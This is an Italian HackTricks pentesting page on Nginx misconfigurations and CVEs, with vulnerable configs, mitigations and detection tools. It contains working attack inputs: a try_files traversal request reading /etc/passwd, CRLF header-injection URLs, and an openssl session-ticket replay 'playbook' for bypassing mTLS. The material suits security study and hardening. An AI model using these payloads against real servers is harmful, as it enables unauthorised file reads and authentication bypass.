Nginx
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Posizione root mancante
Quando si configura il server Nginx, la root directive svolge un ruolo critico definendo la directory di base da cui vengono serviti i file. Considera l’esempio seguente:
server {
root /etc/nginx;
location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}
In questa configurazione, /etc/nginx è designata come directory root. Questa impostazione permette l’accesso a file all’interno della directory root specificata, come /hello.txt. Tuttavia, è importante notare che è definita solo una location specifica (/hello.txt). Non esiste una configurazione per la location root (location / {...}). Questa omissione implica che la direttiva root si applica globalmente, permettendo alle richieste al percorso root / di accedere ai file sotto /etc/nginx.
Questa configurazione solleva una seria considerazione di sicurezza. Una semplice richiesta GET, come GET /nginx.conf, potrebbe esporre informazioni sensibili servendo il file di configurazione Nginx situato in /etc/nginx/nginx.conf. Impostare la root su una directory meno sensibile, come /etc, potrebbe mitigare questo rischio, ma potrebbe comunque consentire accessi non voluti ad altri file critici, inclusi altri file di configurazione, i log di accesso e persino credenziali criptate usate per l’autenticazione HTTP basic.
Misconfigurazione Alias LFI
Nei file di configurazione di Nginx, è necessaria un’attenta ispezione delle direttive “location”. Una vulnerabilità nota come Local File Inclusion (LFI) può essere introdotta involontariamente tramite una configurazione che somiglia a quanto segue:
location /imgs {
alias /path/images/;
}
Questa configurazione è vulnerabile ad attacchi LFI perché il server interpreta richieste come /imgs../flag.txt come un tentativo di accedere a file al di fuori della directory prevista, risolvendo effettivamente in /path/images/../flag.txt. Questa falla permette agli attaccanti di recuperare file dal filesystem del server che non dovrebbero essere accessibili via web.
Per mitigare questa vulnerabilità, la configurazione dovrebbe essere modificata in modo da:
location /imgs/ {
alias /path/images/;
}
Maggiori informazioni: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/
Test di Accunetix:
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403
Restrizione del percorso non sicura
Consulta la pagina seguente per imparare come effettuare un bypass di direttive come:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Proxy / WAF Protections Bypass
Uso di variabili non sicure / HTTP Request Splitting
Caution
Variabili vulnerabili
$urie$document_uri; questo può essere risolto sostituendole con$request_uri.Anche una regex può essere vulnerabile, ad esempio:
location ~ /docs/([^/])? { … $1 … }- Vulnerable
location ~ /docs/([^/\s])? { … $1 … }- Not vulnerable (checking spaces)
location ~ /docs/(.*)? { … $1 … }- Not vulnerable
Una vulnerabilità nella configurazione di Nginx è dimostrata dall’esempio seguente:
location / {
return 302 https://example.com$uri;
}
I caratteri \r (Carriage Return) e \n (Line Feed) indicano caratteri di nuova linea nelle richieste HTTP, e le loro forme URL-encoded sono rappresentate come %0d%0a. Includere questi caratteri in una richiesta (es., http://localhost/%0d%0aDetectify:%20clrf) a un server mal configurato fa sì che il server emetta un nuovo header chiamato Detectify. Questo accade perché la variabile $uri decodifica i caratteri di nuova linea URL-encoded, portando a un header inaspettato nella risposta:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf
Per saperne di più sui rischi di CRLF injection e response splitting visita https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.
Inoltre questa tecnica è explained in this talk con alcuni esempi vulnerabili e meccanismi di rilevamento. Ad esempio, per identificare questa misconfigurazione da una prospettiva blackbox potresti effettuare queste richieste:
https://example.com/%20X- Any HTTP codehttps://example.com/%20H- 400 Bad Request
Se vulnerabile, la prima verrà trattata perché “X” può essere interpretato come un metodo HTTP, mentre la seconda restituirà un errore poiché H non è un metodo valido. Quindi il server riceverà qualcosa come: GET / H HTTP/1.1 e questo farà scattare l’errore.
Altri esempi di rilevamento sarebbero:
http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x- Any HTTP codehttp://company.tld/%20HTTP/1.1%0D%0AHost:%20x- 400 Bad Request
Alcune configurazioni vulnerabili presentate in quel talk erano:
- Nota come
$urivenga impostato così com’è nell’URL finale
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
- Nota come ancora una volta
$urisia nell’URL (questa volta all’interno di un parametro)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
- Ora in AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}
Qualsiasi variabile
È stato scoperto che i dati forniti dall’utente potrebbero essere trattati come una variabile Nginx in determinate circostanze. La causa di questo comportamento rimane in parte elusiva; tuttavia non è né rara né semplice da verificare. Questa anomalia è stata evidenziata in un report di sicurezza su HackerOne, consultabile qui. Ulteriori indagini sul messaggio di errore hanno portato a individuarne l’occorrenza all’interno del modulo filtro SSI del codebase di Nginx, identificando Server Side Includes (SSI) come causa principale.
Per rilevare questa misconfigurazione, è possibile eseguire il seguente comando, che prevede l’impostazione di un referer header per testare la stampa della variabile:
$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
Le scansioni per questa misconfigurazione attraverso i sistemi hanno rivelato molteplici istanze in cui le variabili di Nginx potevano essere stampate da un utente. Tuttavia, la riduzione del numero di istanze vulnerabili suggerisce che gli sforzi per correggere questo problema siano stati in qualche misura efficaci.
Uso di try_files con le variabili $URI$ARGS
La seguente misconfigurazione di Nginx può portare a una vulnerabilità LFI:
location / {
try_files $uri$args $uri$args/ /index.html;
}
Nella nostra configurazione abbiamo la direttiva try_files che viene usata per verificare l’esistenza dei file nell’ordine specificato. Nginx restituirà il primo che trova. La sintassi di base della direttiva try_files è la seguente:
try_files file1 file2 ... fileN fallback;
Nginx controllerà l’esistenza di ciascun file nell’ordine specificato. Se un file esiste, verrà servito immediatamente. Se nessuno dei file specificati esiste, la richiesta verrà inoltrata all’opzione di fallback, che può essere un altro URI o una pagina di errore specifica.
Tuttavia, quando si usano le variabili $uri$args in questa direttiva, Nginx tenterà di cercare un file che corrisponda all’URI della richiesta combinato con eventuali argomenti della query string. Pertanto possiamo sfruttare questa configurazione:
http {
server {
root /var/www/html/public;
location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}
Con il seguente payload:
GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com
Usando il nostro payload usciremo dalla directory root (definita nella configurazione di Nginx) e caricheremo il file /etc/passwd. Nei log di debug possiamo osservare come Nginx prova i file:
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
...SNIP...
2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
PoC contro Nginx usando la configurazione menzionata sopra:

Lettura della risposta grezza del backend
Nginx offre una funzionalità tramite proxy_pass che permette l’intercettazione di errori e header HTTP prodotti dal backend, con l’obiettivo di nascondere messaggi di errore interni e header. Questo viene realizzato facendo servire a Nginx pagine di errore personalizzate in risposta agli errori del backend. Tuttavia, sorgono problemi quando Nginx riceve una richiesta HTTP non valida. Tale richiesta viene inoltrata al backend così com’è, e la risposta grezza del backend viene poi inviata direttamente al client senza l’intervento di Nginx.
Considera uno scenario di esempio che coinvolge un’applicazione uWSGI:
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]
Per gestire questo, vengono utilizzate direttive specifiche nella configurazione di Nginx:
http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
- proxy_intercept_errors: Questa direttiva permette a Nginx di fornire una risposta personalizzata per le risposte del backend con un codice di stato maggiore di 300. Garantisce che, per la nostra applicazione uWSGI di esempio, una risposta
500 Errorvenga intercettata e gestita da Nginx. - proxy_hide_header: Come suggerisce il nome, questa direttiva nasconde specifici header HTTP al client, migliorando privacy e sicurezza.
Quando viene effettuata una richiesta GET valida, Nginx la elabora normalmente, restituendo una risposta di errore standard senza rivelare header segreti. Tuttavia, una richiesta HTTP non valida aggira questo meccanismo, causando l’esposizione delle risposte grezze del backend, inclusi header segreti e messaggi di errore.
merge_slashes set to off
Per impostazione predefinita, la direttiva merge_slashes di Nginx è impostata su on, che comprime molteplici slash consecutivi in un URL in un singolo slash. Questa funzionalità, pur semplificando l’elaborazione degli URL, può involontariamente nascondere vulnerabilità nelle applicazioni dietro Nginx, in particolare quelle soggette a local file inclusion (LFI). Gli esperti di sicurezza Danny Robinson e Rotem Bar hanno evidenziato i rischi potenziali associati a questo comportamento di default, specialmente quando Nginx funge da reverse-proxy.
Per mitigare tali rischi, si raccomanda di disattivare la direttiva merge_slashes per le applicazioni suscettibili a queste vulnerabilità. Questo assicura che Nginx inoltri le richieste all’applicazione senza alterare la struttura dell’URL, evitando di mascherare eventuali problemi di sicurezza sottostanti.
Per maggiori informazioni, vedi Danny Robinson and Rotem Bar.
Maclicious Response Headers
Come mostrato in this writeup, ci sono certi header che, se presenti nella risposta del web server, cambieranno il comportamento del proxy Nginx. Puoi verificarli in the docs:
X-Accel-Redirect: Indica a Nginx di reindirizzare internamente una richiesta verso una posizione specificata.X-Accel-Buffering: Controlla se Nginx deve bufferizzare la risposta o meno.X-Accel-Charset: Imposta il set di caratteri per la risposta quando si usa X-Accel-Redirect.X-Accel-Expires: Imposta il tempo di scadenza per la risposta quando si usa X-Accel-Redirect.X-Accel-Limit-Rate: Limita la velocità di trasferimento per le risposte quando si usa X-Accel-Redirect.
Ad esempio, l’header X-Accel-Redirect provocherà un redirect interno in nginx. Quindi avere una configurazione nginx con qualcosa come root / e una risposta dal web server con X-Accel-Redirect: .env farà sì che nginx invii il contenuto di /.env (Path Traversal).
Valore predefinito nella direttiva map
Nella configurazione di Nginx, la direttiva map spesso svolge un ruolo nel controllo dell’autorizzazione. Un errore comune è non specificare un valore predefinito, che potrebbe portare ad accessi non autorizzati. Ad esempio:
http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}
server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}
Senza un default, un utente malintenzionato può bypassare la sicurezza accedendo a un URI non definito all’interno di /map-poc. The Nginx manual consiglia di impostare un valore di default per evitare tali problemi.
DNS Spoofing Vulnerabilità
DNS spoofing contro Nginx è fattibile in determinate condizioni. Se un attaccante conosce il DNS server usato da Nginx e può intercettare le sue query DNS, può falsificare i record DNS. Questo metodo, tuttavia, è inefficace se Nginx è configurato per usare localhost (127.0.0.1) per la risoluzione DNS. Nginx permette di specificare un DNS server come segue:
resolver 8.8.8.8;
proxy_pass and internal Direttive
La direttiva proxy_pass viene utilizzata per reindirizzare le richieste ad altri server, internamente o esternamente. La direttiva internal assicura che alcune location siano accessibili solo all’interno di Nginx. Sebbene queste direttive non siano vulnerabilità di per sé, la loro configurazione richiede un’attenta analisi per prevenire falle di sicurezza.
proxy_set_header Upgrade & Connection
Se il server nginx è configurato per inoltrare gli header Upgrade e Connection, può essere eseguito un h2c Smuggling attack per accedere a endpoint protetti/interni.
Caution
Questa vulnerabilità permetterebbe a un attaccante di stabilire una connessione diretta con l’endpoint di
proxy_pass(http://backend:9999in questo caso), il cui contenuto non verrà controllato da nginx.
Example of vulnerable configuration to steal /flag from here:
server {
listen 443 ssl;
server_name localhost;
ssl_certificate /usr/local/nginx/conf/cert.pem;
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /flag {
deny all;
}
Warning
Nota che anche se il
proxy_passpuntava a un path specifico comehttp://backend:9999/socket.iola connessione verrà stabilita conhttp://backend:9999quindi puoi contattare qualsiasi altro path all’interno di quel endpoint interno. Quindi non importa se un path è specificato nella URL di proxy_pass.
HTTP/3 QUIC module remote DoS & leak (2024)
Durante il 2024 Nginx ha divulgato CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 e CVE-2024-35200 mostrando che una singola sessione QUIC ostile può causare il crash dei processi worker o leak di memoria ogni volta che il modulo sperimentale ngx_http_v3_module è compilato e viene esposta una socket listen ... quic. Le build interessate sono 1.25.0–1.25.5 e 1.26.0, mentre 1.27.0/1.26.1 includono le correzioni; la disclosure di memoria (CVE-2024-34161) richiede inoltre MTU maggiori di 4096 byte per far emergere dati sensibili (dettagli nell’advisory nginx 2024 referenziato sotto).
Recon & exploitation hints
- HTTP/3 è opt-in, quindi scansiona per risposte
Alt-Svc: h3=":443"o esegui brute-force sui QUIC handshakes su UDP/443; una volta confermato, fuzz the handshake and STREAM frames with customquiche-client/nghttp3payloads per innescare crash dei worker e forzare il leak nei log. - Quickly fingerprint target support with:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/
TLS session resumption bypass of client cert auth (CVE-2025-23419)
Un advisory di febbraio 2025 ha divulgato che nginx 1.11.4–1.27.3 compilato con OpenSSL permette di riutilizzare una sessione TLS 1.3 da un name-based virtual host all’interno di un altro, così un client che ha negoziato un host senza certificato può riprodurre il ticket/PSK per entrare in un vhost protetto con ssl_verify_client on; e bypassare completamente mTLS. Il bug si attiva ogni volta che più virtual host condividono la stessa cache di sessione TLS 1.3 e i ticket (vedi l’advisory nginx del 2025 referenziata sotto).
Playbook dell’attaccante
# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem
# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
Se il target è vulnerabile, il secondo handshake si completa senza presentare un certificato client, rivelando risorse protette.
Cosa verificare
- Blocchi
server_namemisti che condividonossl_session_cache shared:SSLpiùssl_session_tickets on;. - Blocchi Admin/API che si aspettano mTLS ma ereditano le impostazioni di session cache/ticket condivise dagli host pubblici.
- Automazione che abilita la session resumption TLS 1.3 globalmente (e.g., Ansible roles) senza considerare l’isolamento dei vhost.
Resilienza a HTTP/2 Rapid Reset (comportamento CVE-2023-44487)
L’attacco HTTP/2 Rapid Reset (CVE-2023-44487) continua a colpire nginx quando gli operatori alzano keepalive_requests o http2_max_concurrent_streams oltre i valori di default: un attaccante apre una singola connessione HTTP/2, la inonda con migliaia di stream, quindi invia immediatamente frame RST_STREAM in modo che il tetto di concorrenza non venga mai raggiunto mentre la CPU continua a restare occupata sulla logica di tear-down. I default di nginx (128 concurrent streams, 1000 keepalive requests) mantengono il raggio d’azione ristretto; aumentare “sostanzialmente” questi limiti rende banale mettere in starvation i worker anche da un singolo client (vedi il write-up F5 referenziato sotto).
Suggerimenti per il rilevamento
# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/
Gli host che espongono valori insolitamente alti per quelle direttive sono bersagli ideali: un client HTTP/2 può ripetere la creazione di stream e inviare istantanei frame RST_STREAM per tenere la CPU al massimo senza superare il limite di concorrenza.
Provalo tu stesso
Detectify ha creato un repository GitHub dove puoi usare Docker per impostare il tuo server di test Nginx vulnerabile con alcune delle misconfigurazioni discusse in questo articolo e provare a trovarle tu stesso!
https://github.com/detectify/vulnerable-nginx
Strumenti per l’analisi statica
GIXY
Gixy è uno strumento per analizzare la configurazione di Nginx. L’obiettivo principale di Gixy è prevenire misconfigurazioni di sicurezza e automatizzare il rilevamento delle vulnerabilità.
Nginxpwner
Nginxpwner è uno strumento semplice per individuare comuni misconfigurazioni e vulnerabilità di Nginx.
Riferimenti
- https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/
- http://blog.zorinaq.com/nginx-resolver-vulns/
- https://github.com/yandex/gixy/issues/115
- https://mailman.nginx.org/pipermail/nginx-announce/2024/GWH2WZDVCOC2A5X67GKIMJM4YRELTR77.html
- https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html
- https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
HackTricks

